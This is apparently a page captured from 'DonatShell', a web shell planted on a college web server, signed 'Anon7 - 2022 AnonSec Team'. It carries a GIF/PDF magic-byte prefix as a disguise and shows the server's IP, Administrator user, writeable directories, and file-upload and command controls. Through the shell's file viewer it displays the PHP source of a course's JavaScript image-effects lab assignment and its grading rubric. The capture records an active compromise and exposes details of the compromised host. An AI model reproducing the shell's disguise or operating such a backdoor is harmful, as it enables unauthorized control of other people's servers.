GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab03/Lab03.phpinc
<?
// JimMartinson/MMDT1021/Labs/Lab01/Lab01.phpinc

$css .= ',colorCode.css';

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
?>
<a name="Lab"></a>
<fieldset><legend>Description</legend>
Create an index.html page that displays image effects using JavaScript.<br>
There are many sites where you can find free scripts to generate various image effects.  The various effects are rotating banners, slideshows, fades, etc.  Look at sites such as <a href="http://www.hotscripts.com/">hotscripts</a> and <a href="http://www.jqueryrain.com/example/image-effects//">jQuery Rain</a> to get ideas or <a href="https://www.google.com/search?q=javascript+image&ie=utf-8&oe=utf-8#q=javascript+image+effects">search Goolge</a>.
<br><?=$gradeNote?>
</fieldset>
<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	<li>Create an html document.
		<ol>
			<li>Name the file <b>index.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
			<li>Place the following in the <samp class="highELE">head</samp> of your page:
				<ol>
					<li>Add a <samp class="highELE">title</samp> of <inn><?=$evaluationType?> <?=$evaluationNumber?> <?=$evaluationTitle?> - <?=userName($userId)?></inn>.</li>
					<li>Add the meta character set tag.</li>
					<li>Add a link stylesheet tag with a <span class="highATT">href</span> of <samp class="highVAL"><?=$evaluationName?>.css</samp></li>
					<li>Add a <samp class="highELE">script</samp> tag with a <span class="highATT">src</span> of <samp class="highVAL"><?=$evaluationName?>.js</samp>.</li>
				</ol>
			</li>
			<li>Code html as needed to perform this lab:
				<ol>
					<li>Navigation links to the other pages (as well as the index page).</li>
					<li>JavaScript driven image effects with a minimum of three images.</li>
					<li>Both the navigation and clicking on the image should link to the page related to that image.</li>
				</ol>
			</li>
		</ol>
		</div>
	</li>
	<li>Create at least three other html documents.
		<ol>
			<li>These pages must have a different title and have the same general navigation and style as the index page.</li>
			<li>These pages must have content that relates to one of your images.</li>
		</ol>
	<li>Create a Cascading Style Sheet.
		<ol>
			<li>Name the file <b><?=$evaluationName?>.css</b>.</li>
			<li>Place all of the css needed for the lab in this file.</li>
		</ol>
	</li>
	<li>Create a JavaScript document.
		<ol>
			<li>Name the file <b><?=$evaluationName?>.js</b>.</li>
			<li>Place all of the JavaScript code needed for the lab in this file.
				<br><a href="1022_ImageEffects.avi" target="_blank">(See a demo video)</a>
				<a href="../../../Setup/TechSmithCodec/tscc.exe">(You probably need to dowmload and install the TechSmithCodec to view this file)</a>
<? /** / ?>
		<div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">(See a demo video)</a></div>
		<div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide demo video.</a><br>
		<? include('common/Browser/Browser.phpinc'); BrowserBegin($evaluationType.' '.$evaluationNumber.' '.$evaluationTitle.' - '.userName($userId),'file://'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html'); ?>
<object
	id="ie_plugin"
	classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616" 
	width="660" 
	height="300" 
	codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab"
>
<param name="custommode" value="stage6" />
<param name="autoPlay" value="false" />
<param name="src" value="link-to-avi" />
<param name="bannerEnabled" value="false" />
<embed
	id="np_plugin"
	type="video/divx" 
	src="1022_ImageEffects.avi" 
	custommode="stage6" 
	width="1008" 
	height="676" 
	autoPlay="false"  
	bannerEnabled="false"
	pluginspage="http://go.divx.com/plugin/download/"
>
</embed>
</object>
<? /**/ ?>
<? /** / ?>
		<? BrowserEnd(); ?>
<? /**/ ?>
<? /** / ?>
		</div>
<? /**/ ?>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<fieldset><legend>NOTES:</legend>
<b>We will be using the following in every html page throughout this class:</b>
<ul>
	<li>The HTML 5 DOCTYPE: <span class="highELE">&lt;!DOCTYPE html&gt;</span>.</li>
	<li>An html tag with <span class="highATT">lang</span> attribute: <span class="highELE">&lt;html <span class="highATT">lang="<span class="highVAL">en</span>"</span>&gt;</span>.</li>
	<li>A <span class="highELE">title</span> tag.</li>
	<li>The meta character set tag <span class="highELE">&lt;meta <span class="highATT">charset="<span class="highVAL">UTF-8</span>"</span>&gt;</span>.</li>
</ul>
</fieldset>
<script src="/js/colorCode.js"></script>
<?
$PartialGradingCriteria = '
<table>
	<tr>
		<td></td>
		<td class="right"><b>Points</b></td>
	</tr>
	<tr>
		<td>Required HTML/CSS elements are correct.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Functional initAll() function.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Functional createTable() function.</td>
		<td class="number">4</td>
	</tr>
	<tr>
		<td>Odd and even rows in the table have alternating background colors.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>The numbers are right aligned.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>The numbers along the top row and left column should be in a <span class="highELM">th</span> element and display as bold.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Correct <samp class="highELE">DOCTYPE</samp>, <samp class="highELE">html</samp>, <samp class="highELE">head</samp>, <samp class="highELE">title</samp>, <samp class="highELE">meta</samp> <samp>charset</samp>, <samp class="highELE">body</samp>, and <samp class="highELE">h1</samp> tags.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Well formatted HTML, CSS, and JavaScript that follows lab requirements.<br><span class="note">Do not add any additional code or styling other than what is required by the lab.
			<br>I will deduct points for additional code or styling that are or cause problems.</span></td>
		<td class="number">4</td>
	</tr>
	<tr>
		<th class="right">Total:</th>
		<th class="bold number">assignmentPoints
</table>
';
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team